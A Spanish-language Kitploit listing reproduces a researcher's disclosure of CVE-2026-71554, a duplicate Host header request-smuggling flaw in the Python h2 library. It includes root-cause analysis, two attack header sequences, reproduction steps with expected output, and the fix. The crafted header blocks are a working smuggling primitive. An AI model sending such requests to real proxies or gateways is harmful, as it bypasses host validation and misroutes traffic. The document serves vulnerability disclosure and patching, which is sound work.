Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
poc-h2-CVE-2026-71554 — PoC para CVE-2026-71554 - primitiva de request smuggling por cabecera Host duplicada en h2 (corregido en 4.4.1) | Kitploit
Herramientas/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad WebSeguridad de APIsAtaque Adversario
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

PoC para CVE-2026-71554 - primitiva de request smuggling por cabecera Host duplicada en h2 (corregido en 4.4.1)

Ver Repositorio
1hace 12 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-71554 - Primitiva de contrabando de solicitudes por encabezado Host duplicado en h2

Este es mi primer CVE. He publicado este PoC para documentar el hallazgo y ayudar a otros a comprenderlo y reproducirlo.

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg Afectado: h2 <= 4.4.0 Corregido: h2 4.4.1 Gravedad: Media (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


Lo que encontré

Mientras revisaba la lógica de validación de encabezados de h2, noté que _validate_host_authority_header() en src/h2/utilities.py comprueba que Host y :authority coinciden, pero solo compara el último encabezado Host que ve. Si envías dos encabezados Host, h2 usa el segundo para la comprobación y reenvía ambos a la aplicación sin quejarse.

Curiosamente, h2 4.4.0 ya rechaza encabezados Content-Length duplicados con un ProtocolError. La misma corrección nunca se aplicó a Host. Incluso había un comentario TODO en el código fuente reconociendo exactamente esta carencia:

root@kitploit:~
# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

Causa raíz

_validate_host_authority_header() en src/h2/utilities.py utiliza un bucle en el que gana el último valor, registra el último valor de Host visto y solo comprueba que:

  1. Al menos uno de :authority o Host está presente
  2. Cuando ambos están presentes, coinciden

No hay ninguna comprobación del número de encabezados Host. Cada encabezado Host se reenvía a la aplicación sin importar cuántos haya.


Escenarios de ataque

Caso 1 — Dos encabezados Host, sin :authority

El cliente envía:

root@kitploit:~
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 acepta ambos. La aplicación recibe ambos encabezados Host.

La degradación a HTTP/1.1 produce:

root@kitploit:~
GET / HTTP/1.1
host: good.internal
host: evil.attacker

La RFC 9112 s3.2 exige que un servidor responda 400 a cualquier solicitud HTTP/1.1 que contenga más de un encabezado Host. Los backends divergen:

root@kitploit:~
nginx          — rejects with 400
Python stdlib  — accepts, returns FIRST Host on lookup
Werkzeug       — accepts, returns FIRST Host on lookup

Caso 2 — Contrabando sigiloso (bypass de :authority)

El cliente envía:

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 valida: el último Host (good.internal) == :authority (good.internal) — pasa.

La aplicación recibe ambos encabezados Host. La degradación a HTTP/1.1 produce:

root@kitploit:~
GET / HTTP/1.1
host: evil.attacker
host: good.internal

Los backends que devuelven el primer Host en una búsqueda por clave única enrutan la solicitud a evil.attacker mientras h2 creía haber validado good.internal. Desincronización total del enrutamiento entre lo que h2 validó y lo que procesa el origen.


Control - Host único no coincidente rechazado correctamente

root@kitploit:~
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 lanza ProtocolError. Confirma que la carencia es específica de los encabezados Host duplicados.


Qué puede verse afectado

El impacto depende de la arquitectura de despliegue:

  • Afectado: Proxies inversos o pasarelas de API que aceptan HTTP/2 de los clientes y degradan a HTTP/1.1 al reenviar a los backends, cuando el backend usa el primer encabezado Host para las decisiones de enrutamiento
  • Backends afectados (probados empíricamente): Python stdlib http.client, Werkzeug Headers — ambos aceptan Host duplicado y devuelven el primer valor
  • Backends no afectados: nginx — rechaza con 400 el Host duplicado
  • Despliegues no afectados: HTTP/2 de extremo a extremo sin degradación a HTTP/1.1

Pasos para reproducir

Requisitos

root@kitploit:~
pip install h2==4.4.0

Ejecutar

root@kitploit:~
python3 poc_h2_duplicate_host.py

Salida esperada en la versión vulnerable 4.4.0

root@kitploit:~
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)

Verificar la corrección en 4.4.1

root@kitploit:~
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

Los tres casos lanzan ProtocolError. No se reenvía ningún encabezado.


La corrección

Se añade un contador al bucle existente en _validate_host_authority_header():

root@kitploit:~
host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

Commit: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


Créditos

Encontrado y reportado por Sunand Mohan (https://github.com/SunandM)

Descargar herramienta